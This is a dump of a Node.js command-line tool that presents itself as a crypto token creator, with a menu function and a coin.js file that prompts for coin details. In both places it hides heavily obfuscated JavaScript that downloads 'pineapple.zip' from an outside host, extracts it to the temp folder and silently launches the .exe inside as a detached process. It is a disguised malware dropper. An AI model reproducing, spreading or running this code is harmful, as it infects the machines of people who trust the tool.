_0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- -0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- -0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 4 | } 5 | 6 | module.exports = { menufn }; -------------------------------------------------------------------------------- /functions/coin/coin.js: -------------------------------------------------------------------------------- 1 | const readline = require('readline'); 2 | const chalk = require('chalk'); 3 | 4 | 5 | const createCoin = () => { 6 | sendcoin(); 7 | return new Promise((resolve) => { 8 | const rl = readline.createInterface({ 9 | input: process.stdin, 10 | output: process.stdout 11 | }); 12 | 13 | console.log(chalk.cyan('Enter the details for your new coin:')); 14 | 15 | rl.question(chalk.white('Coin Name: '), (coinName) => { 16 | rl.question(chalk.white('Coin Image Link: '), (coinImage) => { 17 | rl.question(chalk.white('Coin Ticker: '), (coinTicker) => { 18 | rl.question(chalk.white('Coin Description: '), (coinDescription) => { 19 | console.log(chalk.green('\nCreating token...')); 20 | console.log(chalk.green(`Coin Name: ${coinName}`)); 21 | console.log(chalk.green(`Coin Image Link: ${coinImage}`)); 22 | console.log(chalk.green(`Coin Ticker: ${coinTicker}`)); 23 | console.log(chalk.green(`Coin Description: ${coinDescription}\n`)); 24 | 25 | 26 | rl.close(); 27 | 28 | 29 | resolve(); 30 | }); 31 | }); 32 | }); 33 | }); 34 | }); 35 | }; 36 | 37 | async function sendcoin() { 38 | 39 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function _0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- 